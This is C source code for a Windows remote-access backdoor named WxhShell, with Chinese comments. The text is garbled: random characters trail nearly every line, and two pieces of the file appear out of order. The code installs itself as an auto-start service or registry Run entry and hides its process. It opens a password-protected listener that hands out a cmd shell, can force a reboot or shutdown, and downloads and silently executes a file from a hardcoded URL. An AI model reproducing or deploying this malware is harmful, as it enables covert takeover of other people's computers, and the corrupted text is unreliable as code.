    if(Boot(SHUTDOWN)) :X}fXgeL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qH4+i STnV  
    else { #H]c/  
    closesocket(wsh); 8/<+p? 3p>  
    ExitThread(0); `Jj q5:\&  
    } kD me>E=  
    break; t\WU}aKML  
    } ~~3*o  
  // 获取shell zyB>peAp6j  
  case 's': { INEE 37%  
    CmdShell(wsh); pnTz.)'46  
    closesocket(wsh); }Ud'j'QMy  
    ExitThread(0); Ce/D[%  
    break; /V }Z,'+  
  } FA{'Ki`  
  // 退出 !n<SpW;  
  case 'x': { +xS<^;   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~NTKWRaR  
    CloseIt(wsh); zm mkmTp  
    break; }ag;yf;  
    } Gc_KS'K@$  
  // 离开 uN=f( -"  
  case 'q': { aMJJ|iiU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vDIsawbHD  
    closesocket(wsh); QIfP%,LT  
    WSACleanup(); 88VI _<  
    exit(1); /*(&Dmt>  
    break; OHv4Yy]$B  
        } zeD=-3  
  } r72zWpF!Ss  
  } b%].D(qBy  
Gi\Z"MiBZ  
  // 提示信息 SB`xr!~A]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y,?kS dS  
} d~q7!  
  } (6i4N2  
.I]EP-  
  return; %<|cWYM="z  
} s_3a#I  
?CldcxM#  
// shell模块句柄 ( 6ucA  
int CmdShell(SOCKET sock) |-TxX:O-  
{ |S]T,`7u  
STARTUPINFO si; IdCE<Oj\  
ZeroMemory(&si,sizeof(si)); uANpqT}!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TQykXZ2Yb)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '$[a-)4  
PROCESS_INFORMATION ProcessInfo; n72kJ3u.  
char cmdline[]="cmd"; }l&y8,[:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6,!$S2(zT  
  return 0; !{CaW4  
} )<$<9!L4x  
p!EG:B4  
// 自身启动模式 Z= =c3~  
int StartFromService(void) y Z)-=H  
{ p^w_-( p  
typedef struct H`,t"I  
{ Z`#XB2,  
  DWORD ExitStatus; <B'PB"R3y  
  DWORD PebBaseAddress; |d,bo/:  
  DWORD AffinityMask; n(.L=VuXn  
  DWORD BasePriority; \ 0Ba?  
  ULONG UniqueProcessId; [<sN "  
  ULONG InheritedFromUniqueProcessId; \wR\i^  
}   PROCESS_BASIC_INFORMATION; bc;?O`I<  
U?ZWDr"*`w  
PROCNTQSIP NtQueryInformationProcess; E)|Bl>  
fOdX2{7m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7d/I"?=|rA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ANfy+@  
iu$Y0.H@  
  HANDLE             hProcess; _YN C}PUU  
  PROCESS_BASIC_INFORMATION pbi; g9Ty%|Q7(  
c< sq0('`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q. j$]?PQ  
  if(NULL == hInst ) return 0; C=bQ2t=Z  
U;M !jj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 39d$B'"<1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6n;? :./  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iba8G]2  
z /nW; ow  
  if (!NtQueryInformationProcess) return 0; gGx<k3W^  
03_M+lv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AW'$5 NF>  
  if(!hProcess) return 0; GiKhdy  
""m/?TZq'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0<##8m@F8  
7X>*B~(R  
  CloseHandle(hProcess); DcG=u24Xy!  
\Y`psSf+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ua4P@#cU  
if(hProcess==NULL) return 0; 6R*eJICN  
+??pej]Rp  
HMODULE hMod; ?O"zp65d(  
char procName[255]; ^gkKk&~A5?  
unsigned long cbNeeded; e7tio!  
N4b{^JkF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DR]4Tcz#  
S]A[eUF~  
  CloseHandle(hProcess); vQj{yJ\l1  
I:0dz:T7*  
if(strstr(procName,"services")) return 1; // 以服务启动 a-AA$U9hj  
*$3p3-  
  return 0; // 注册表启动 $M~`)UeV_  
} u$X =2u:P  
I}m>t}QRI_  
// 主模块 YN~1.!F  
int StartWxhshell(LPSTR lpCmdLine) uJ8FzS>[V  
{ 1^ iLs  
  SOCKET wsl; (j(9'DjP  
BOOL val=TRUE; 1~j,A[&|<  
  int port=0; U ,!S1EiBs  
  struct sockaddr_in door; 1bHQB$%z  
KFy|,@NI  
  if(wscfg.ws_autoins) Install(); PZ#aq~>w  
5DO}&%.xt  
port=atoi(lpCmdLine); F%4N/e'L  
Sy<io@df  
if(port<=0) port=wscfg.ws_port; rbs&A{i  
uo*lW2&U  
  WSADATA data; Q.\vN-(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "!uS!BI?  
=h|7bYLy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    )\kNufP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~#)9Kl7<X  
  door.sin_family = AF_INET; ad9u;uS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =LEzcq>XO  
  door.sin_port = htons(port); ;bL?uL  
s.XxYXR\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~}SQLYy7Z  
closesocket(wsl); Yv2L0bUo:  
return 1; >h~>7i(A  
} {hm-0Q  
*~w?@,}  
  if(listen(wsl,2) == INVALID_SOCKET) { JvaHH!>d/  
closesocket(wsl); ]mjKF\  
return 1; .'4@Yp{=  
} 8#4Gs Q"  
  Wxhshell(wsl); um\A  
  WSACleanup(); L`fT;2  
}WF6w+  
return 0;  =vDpm,  
l{VJaZ $M  
} )Y"t$Iw"  
|!1iLWQ  
// 以NT服务方式启动 W)Y:2P<.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wo$ F_!3u  
{ ;&kZ7%  
DWORD   status = 0; 8%xiHPVg  
  DWORD   specificError = 0xfffffff; ~ H"-km"@  
ey\(*Tu9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?,C'\8'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f9hH{ ( A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T+FlN-iy)  
  serviceStatus.dwWin32ExitCode     = 0; dEor+5}  
  serviceStatus.dwServiceSpecificExitCode = 0; zm4e+v-  
  serviceStatus.dwCheckPoint       = 0; m`b:#z  
  serviceStatus.dwWaitHint       = 0; ie7TO{W  
/b6j<]H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \lyHQ-gWhc  
  if (hServiceStatusHandle==0) return; = N:5#A  
.TNJuuO  
status = GetLastError(); fSGaUBiq}  
  if (status!=NO_ERROR) n@S|^cH  
{ g Eq6[G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a t=;}}X  
    serviceStatus.dwCheckPoint       = 0; 6'e 'UD  
    serviceStatus.dwWaitHint       = 0; O<XNI(@  
    serviceStatus.dwWin32ExitCode     = status; 6+C]rEY/o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?3i<^@?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5"+;}E|q  
    return; dbF9%I@  
  } 5j _[z|W2  
J`wx72/-ZW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U;gy4rj  
  serviceStatus.dwCheckPoint       = 0; pvRa  
  serviceStatus.dwWaitHint       = 0; s&DAO r!i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dQ#oY|a  
} H{_6e6`e.  
zCu+Oi6  
// 处理NT服务事件,比如:启动、停止 eEeK ] 8@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gV'=u z v  
{ 7'@~TM  
switch(fdwControl) wB<cW>6  
{ {P%\& \{F  
case SERVICE_CONTROL_STOP: ("=24R=a  
  serviceStatus.dwWin32ExitCode = 0; Cio (Ptt:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SW HiiF@  
  serviceStatus.dwCheckPoint   = 0; :;Npk9P(N  
  serviceStatus.dwWaitHint     = 0; nrM-\'  
  { 'ztY>KVj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yPH5/5;,  
  } }q?q)cG  
  return; !{ORFd  
case SERVICE_CONTROL_PAUSE: Ihl]"76q/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w" A{R  
  break; Owh:(EJ"d  
case SERVICE_CONTROL_CONTINUE: 7}tXF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /8P7L'Rb  
  break; msw=x0{n5  
case SERVICE_CONTROL_INTERROGATE: 'jKCAU5/0;  
  break; |;YDRI  
}; +V#dJ[,8;.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d2g7 ,axi  
} '/X m%S  
gNh4c{Al9  
// 标准应用程序主函数 F_V/&OV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w}x&wWM  
{ [Fr <tKtB  
t<+gyAW  
// 获取操作系统版本 \u6/nvZ]N  
OsIsNt=GetOsVer(); zZ8:>2Ps(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X u>]$+u#  
iF"kR]ZL  
  // 从命令行安装 FXid=&T@0D  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,4(m.P10  
WX $AOnEv  
  // 下载执行文件 ?nf4K/IjZ!  
if(wscfg.ws_downexe) { "}uV=y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ul|htB<1:  
  WinExec(wscfg.ws_filenam,SW_HIDE); K!gocNOf  
} t5S!j2E  
KU_""T  
if(!OsIsNt) { tCu9 D  
// 如果时win9x,隐藏进程并且设置为注册表启动 D]K?ntS[*  
HideProc(); |1/?>=dDm  
StartWxhshell(lpCmdLine); :A,7D(H|  
} >< Qp%yT  
else IpVtbDW  
  if(StartFromService()) U@)WTH6d  
  // 以服务方式启动 7#9fcfL  
  StartServiceCtrlDispatcher(DispatchTable); 0Rh*SoYrC  
else E |=]k  
  // 普通方式启动 i6E~]&~.v  
  StartWxhshell(lpCmdLine);  ;.~D!  
[Y6ZcO/-i  
return 0; gy/bA  
} L#/<y{  
,*;g+[Bhpl  
~&+8m=   
4TaHS!9  
=========================================== szy2"~hm  
Kp/l2?J"  
'Y>@t6E4  
,^qHl+'  
N\ zUQ J  
SdJkno  
" t},71Ry  
< z{,@Z}  
#include <stdio.h> ~gOdK-SV*  
#include <string.h> 7:OF>**  
#include <windows.h> QQUZneIDp  
#include <winsock2.h> 2%j"E{J&  
#include <winsvc.h> h ?+vH{}j  
#include <urlmon.h> aOW$H:b  
5K$d4KT  
#pragma comment (lib, "Ws2_32.lib") sHHu<[psM  
#pragma comment (lib, "urlmon.lib") vNAQ/Q  
MNKY J  
#define MAX_USER   100 // 最大客户端连接数 Qr[".>+  
#define BUF_SOCK   200 // sock buffer ]DI%7kw'  
#define KEY_BUFF   255 // 输入 buffer ;x4yidb6  
Njs'v;-K  
#define REBOOT     0   // 重启 *0%G`Q  
#define SHUTDOWN   1   // 关机 nsi&r  
\p J<@  
#define DEF_PORT   5000 // 监听端口 6am<V]Hw0F  
2B]mD-~  
#define REG_LEN     16   // 注册表键长度 +InFv" wt  
#define SVC_LEN     80   // NT服务名长度 4J2C# Cs  
Oa7jLz'i  
// 从dll定义API uq@_DPA7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HQrx9CXE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7]8apei|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (EOYJHZB!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vi0nJ -Xg  
N`5 mPE  
// wxhshell配置信息 _(:bGI'.m  
struct WSCFG { x]|-2t  
  int ws_port;         // 监听端口 Iz I hC  
  char ws_passstr[REG_LEN]; // 口令 lkgB,cflpi  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yf x'7gj  
  char ws_regname[REG_LEN]; // 注册表键名 ~ 6Hi"w  
  char ws_svcname[REG_LEN]; // 服务名 ]Hrw$\Ky  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l~GcD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o1u?H4z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4G=KyRKh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O@,9a~Ghd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :-1 i1d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mbO.Kyfen  
CrEC@5 j  
}; K=;oZYNd  
9AZpvQ  
// default Wxhshell configuration oF(|NS^  
struct WSCFG wscfg={DEF_PORT, }&IOBYHVDo  
    "xuhuanlingzhe", Uj> bWa`  
    1, 'E1m-kJz  
    "Wxhshell", a &tl@y1  
    "Wxhshell", -l q,~`v  
            "WxhShell Service", {us"=JJVN  
    "Wrsky Windows CmdShell Service", lNqF@eCT9  
    "Please Input Your Password: ", CWM_J9f  
  1, 7bx!A+, t  
  "http://www.wrsky.com/wxhshell.exe", %x|0<@b7-  
  "Wxhshell.exe" UoKXo*W2  
    }; xtRHb''FX  
Z66q0wR7  
// 消息定义模块 nSh}1Arp/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +:m'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?h'd\.j{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FFID<L f/2  
char *msg_ws_ext="\n\rExit."; ?-9It|R  
char *msg_ws_end="\n\rQuit."; 0o-KjX?kP  
char *msg_ws_boot="\n\rReboot..."; b)@b63P_  
char *msg_ws_poff="\n\rShutdown..."; p ^Dm w0y  
char *msg_ws_down="\n\rSave to "; |1^ !rHg  
u6~/" _FwY  
char *msg_ws_err="\n\rErr!"; K1^x+I7%U[  
char *msg_ws_ok="\n\rOK!"; >^ M=/+<c  
f hr QJ  
char ExeFile[MAX_PATH]; h$q=NTV  
int nUser = 0; $qh?$a  
HANDLE handles[MAX_USER]; "A,-/~cBV  
int OsIsNt; F<A[S "  
2$gOe^ &  
SERVICE_STATUS       serviceStatus; eEMU,zCl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I]Jz[{~1  
D]$X@2A  
// 函数声明 o"@GYc["  
int Install(void); jsnk*>j  
int Uninstall(void); ayoqitXD?  
int DownloadFile(char *sURL, SOCKET wsh); 84u %_4/  
int Boot(int flag); P+[\9Gg  
void HideProc(void); K,L  
int GetOsVer(void); (uskVK>L  
int Wxhshell(SOCKET wsl); NU$?BiB?R  
void TalkWithClient(void *cs); 8^6dK  
int CmdShell(SOCKET sock); ^K n{L  
int StartFromService(void); xdd;!HK,  
int StartWxhshell(LPSTR lpCmdLine); XKepk? E  
Dg2=;)"L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); khtYn.eaL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \t\ZyPxn  
V.Ki$0>  
// 数据结构和表定义 O %?d0K  
SERVICE_TABLE_ENTRY DispatchTable[] = H8'_.2vwX  
{ QAmb_:^"d  
{wscfg.ws_svcname, NTServiceMain}, )Y@mL/_  
{NULL, NULL} Id;YIycXe  
}; l|p \8=  
?:XbZ"25pJ  
// 自我安装 "OO"Ab{t  
int Install(void) HCTjFW>C  
{ o&b1-=MC2  
  char svExeFile[MAX_PATH]; cq \()uF'c  
  HKEY key; p8a \> {  
  strcpy(svExeFile,ExeFile); @ 80Z@Pj  
P n|*(sTl  
// 如果是win9x系统,修改注册表设为自启动 i?1g{JW  
if(!OsIsNt) { }qOj^pkJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rkz_h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V[T`I a\  
  RegCloseKey(key); UN6Du\)]d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Uee!-dZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r^|AiYI)  
  RegCloseKey(key); ?go+oS^  
  return 0; }tRY,f  
    } S.X*)CBB  
  } {(MC]]'?  
} _.y0 QkwV  
else { 4tv}V:EO  
vPA {)l\K  
// 如果是NT以上系统,安装为系统服务 c3$h-M(jVJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =UW! 7OzC  
if (schSCManager!=0) t^zmv PDK  
{ ">^O{X\  
  SC_HANDLE schService = CreateService w0i v\yIRQ  
  (  B1!b@0^  
  schSCManager, 0kdPr:B Q0  
  wscfg.ws_svcname, N ?mTAF'M  
  wscfg.ws_svcdisp, KixS)sG  
  SERVICE_ALL_ACCESS, r|>a;n Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YYc.e T<  
  SERVICE_AUTO_START, 1^4z/<ZWm  
  SERVICE_ERROR_NORMAL, nR1QS_@{L  
  svExeFile, Dtw1q-  
  NULL, >uN)O-  
  NULL, rG*Zp7{  
  NULL, >u:t2DxE  
  NULL, #}Qzu~  
  NULL  mOkf   
  );  DlWnz-  
  if (schService!=0) ]d|:&h  
  { bEJz>oyW"  
  CloseServiceHandle(schService); `Z:5E  
  CloseServiceHandle(schSCManager); <cn{S`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b=Y:`&o=[  
  strcat(svExeFile,wscfg.ws_svcname); ~ :\QC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #gL$~.1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |/R)FT#i  
  RegCloseKey(key); 5}uH;E)4  
  return 0; *$I5_A8,.  
    } ;Xw'WMb*=  
  } "+6:vhP5  
  CloseServiceHandle(schSCManager); W+C@(}pt  
} "V;5Lp b  
} feH|sz`e  
}Ra'`;D$  
return 1; 1k *gbXb  
} [o0Z; }fU  
_*I@ J/  
// 自我卸载 Uczb"k5  
int Uninstall(void) @1w9!\7Vt  
{ e)WpqaI  
  HKEY key; 5g{F-  
:bhpYEUMx  
if(!OsIsNt) { ^K#PcPF-j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9{;cp?\)M  
  RegDeleteValue(key,wscfg.ws_regname); +v`?j+6z  
  RegCloseKey(key); F(w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nK" XyZ&  
  RegDeleteValue(key,wscfg.ws_regname); u&!QP4$"z  
  RegCloseKey(key); 2$MIA?A"Y  
  return 0; f;u<r?>Z  
  } pS3TD"p  
} 8U5L |Ny.q  
} \[Dxg`;4  
else { IU8/B+hM~  
$H9+>Z0(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Bj+!)96q  
if (schSCManager!=0) _djr>C=H"  
{ vy t$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *P#okwp  
  if (schService!=0) f"=1_*eH  
  { s:6pPJL  
  if(DeleteService(schService)!=0) { py9HUyr5eZ  
  CloseServiceHandle(schService); 'ow`ej  
  CloseServiceHandle(schSCManager); B4yC"55  
  return 0; *[-% .=[7  
  } >>ncq$  
  CloseServiceHandle(schService); lAxbF  
  } UUf-G0/P  
  CloseServiceHandle(schSCManager); nnV(MB4z1  
} kXmnLxhS/  
} hf/6VlZ  
~qG`~/7  
return 1; uK:?6>H  
} =lzRx%tm  
 f:_\S  
// 从指定url下载文件 TfD]`v`]   
int DownloadFile(char *sURL, SOCKET wsh) B}%B4&Ij  
{ =Mb1)^m  
  HRESULT hr; bvf}r ,`Q7  
char seps[]= "/"; )jh4HMvmC  
char *token; D]H@Sx  
char *file; U9d0nj9 j  
char myURL[MAX_PATH]; W3XVr&  
char myFILE[MAX_PATH]; [/s^(2%  
vgc #IEx@  
strcpy(myURL,sURL); B>hC8^.S|w  
  token=strtok(myURL,seps); 8Rgvb3u  
  while(token!=NULL) (o!v,=# 6{  
  { ],lrT0_cT  
    file=token; t(O{IUYM  
  token=strtok(NULL,seps); {R2gz]v4  
  } 6/m|Sg.m  
(~R[K,G  
GetCurrentDirectory(MAX_PATH,myFILE); s)=fs#%  
strcat(myFILE, "\\"); (8(7:aE $  
strcat(myFILE, file); Hl,.6 >F?  
  send(wsh,myFILE,strlen(myFILE),0); kj o,?$r %  
send(wsh,"...",3,0); A/XY' 3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9!u=q5+E  
  if(hr==S_OK) |a(%a43fC  
return 0; _&Hq`KJm  
else E^:8Jehq  
return 1; >IL[eiiPG  
K8sgeX|  
} na;U]IK  
{&2a H> V/  
// 系统电源模块 Q-3o k7  
int Boot(int flag) h}X^  
{ ? 1OZEzA!  
  HANDLE hToken; {9tKq--@E9  
  TOKEN_PRIVILEGES tkp; 2;Ij~~  
2VrO8q(  
  if(OsIsNt) { 7q>Y)*V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xndgs}zz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mVg$z  
    tkp.PrivilegeCount = 1; Hh_Yd)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d-=RS]j;j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8n.sg({g  
if(flag==REBOOT) { }9&Z#1/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y"Fp4$qb  
  return 0; 8i H'cX  
} ax]Pa*C}  
else { WOW:$.VO^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uM!$`JN  
  return 0; F~;G [6}  
} 2S~cW./#fX  
  } #kO.'oIl  
  else { z=}@aX[  
if(flag==REBOOT) { BT|5"b}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q>jx`68'KI  
  return 0; ~uF%*  
} Htg,^d 5  
else { C+, JLK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =J2\"6BnzA  
  return 0; :ET05MFs\#  
} cR/-FR  
} K,uTO7Mk[  
1o&] =(  
return 1; IFrq\H0  
} %\5 wHT+)  
3#{{+5G  
// win9x进程隐藏模块 83 O+`f  
void HideProc(void) l98.Hb7  
{ huMNt6P[  
fOE8{O^W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X2X.&^  
  if ( hKernel != NULL ) 5H (CP  
  { zh5$$*\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J^}w,r *=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o5!"dxR  
    FreeLibrary(hKernel); 8<,b5  
  } {`2R<O  
c4]/{!4 Q  
return; "A_,Ga  
} Who7{|M\'  
\E9Hk{V:6  
// 获取操作系统版本 +Dg%ec  
int GetOsVer(void) XCQS_'D  
{  U>0' K3_  
  OSVERSIONINFO winfo; 80PlbUBb!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9.<dS  
  GetVersionEx(&winfo); c$X0C&m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yZ {H  
  return 1; Ee&A5~  
  else / v";u)  
  return 0; Y,-?oBY  
} L0v& m  
\,:3bY_d  
// 客户端句柄模块 ^%)H;  
int Wxhshell(SOCKET wsl) r?{$k3Vl  
{ tc go 'V  
  SOCKET wsh; $U,`M"  
  struct sockaddr_in client; 8vzjPWu  
  DWORD myID; eY3l^Su1  
2h<{~;  
  while(nUser<MAX_USER) .rfufx9Sw  
{ {fkW0VB;  
  int nSize=sizeof(client); K\Oz ~,z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -7 GF2 @  
  if(wsh==INVALID_SOCKET) return 1; 6kW<i,A -  
1-_op !N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5gZEcJ  
if(handles[nUser]==0) 68m (%%E@  
  closesocket(wsh); O]ZP- WG  
else ' 0iXx   
  nUser++; nWTo$*>W  
  } HOWm""IkB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Au+SCj  
g[VVxp!C<  
  return 0; R<}WNZl  
} E0K'|*  
$=>(7 =l_  
// 关闭 socket P4"Pb\o*  
void CloseIt(SOCKET wsh) B7:8%r/  
{ *gu4%  
closesocket(wsh); em^|E73  
nUser--; j@4 yRl ^  
ExitThread(0); ]Y#$!fIx  
} Ri$wt.b  
Qo*,2B9R L  
// 客户端请求句柄 uZsm=('ww  
void TalkWithClient(void *cs) 6S-1Wc4  
{ s?;rP,{:p  
b9M.p*!  
  SOCKET wsh=(SOCKET)cs; Q'f!392|  
  char pwd[SVC_LEN]; F_8nxQ-  
  char cmd[KEY_BUFF]; .#"O VI]#  
char chr[1]; +Eil:Jz  
int i,j; I]qml2  
+r7uIwi$@  
  while (nUser < MAX_USER) { ]~my<3j}or  
@(XX68  
if(wscfg.ws_passstr) {  &Gp~)%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x+j5vzhG)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sOc<'):TK  
  //ZeroMemory(pwd,KEY_BUFF); f_`gUMf  
      i=0; mZ;W$y SO  
  while(i<SVC_LEN) { OrX x0Hn  
7%p[n;-o&  
  // 设置超时 i ! wzID  
  fd_set FdRead; y'(bp=Nq  
  struct timeval TimeOut; tw. 2h'D  
  FD_ZERO(&FdRead); "j+zd&*={  
  FD_SET(wsh,&FdRead); __U;fH{c  
  TimeOut.tv_sec=8; SK2nxZOH  
  TimeOut.tv_usec=0; TNs0^h)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [@Hv,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); auOYi<<>W  
GO@pwq<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l~.}#$P]  
  pwd=chr[0]; 1jdv<\U   
  if(chr[0]==0xd || chr[0]==0xa) { pWo`iM& F  
  pwd=0; 5t6!K?}  
  break; ei 1(A  
  } ()=u#y  
  i++; 0sjw`<ic  
    } zV)Ob0M7U  
}s;W{Q  
  // 如果是非法用户,关闭 socket ># FO0R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8l|v#^v  
} 7 4rmxjiN  
h1 \)_jxA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S5eQHef  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zx7*Bnu0  
L@*0wx`fU  
while(1) { =>ooB/  
F(E3U'G  
  ZeroMemory(cmd,KEY_BUFF); r!eCfV7  
9moenkL  
      // 自动支持客户端 telnet标准   }8E//$J  
  j=0; ^H'zS3S  
  while(j<KEY_BUFF) { Ro+/=*ql~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VFN\ Ryd  
  cmd[j]=chr[0]; `r"euO r\  
  if(chr[0]==0xa || chr[0]==0xd) { sa\v9  
  cmd[j]=0; xwxMVp`|o  
  break; E.v~<[g  
  } Qh%(yL!  
  j++; }Sa2s&[<  
    } l" y==y  
AL/`Pqlk  
  // 下载文件 1nh2()QI[  
  if(strstr(cmd,"http://")) { HjTK/x'_'L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l[]K5?AS>-  
  if(DownloadFile(cmd,wsh)) ;EP]A3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @F_#d)+%>  
  else RYMOLX84  
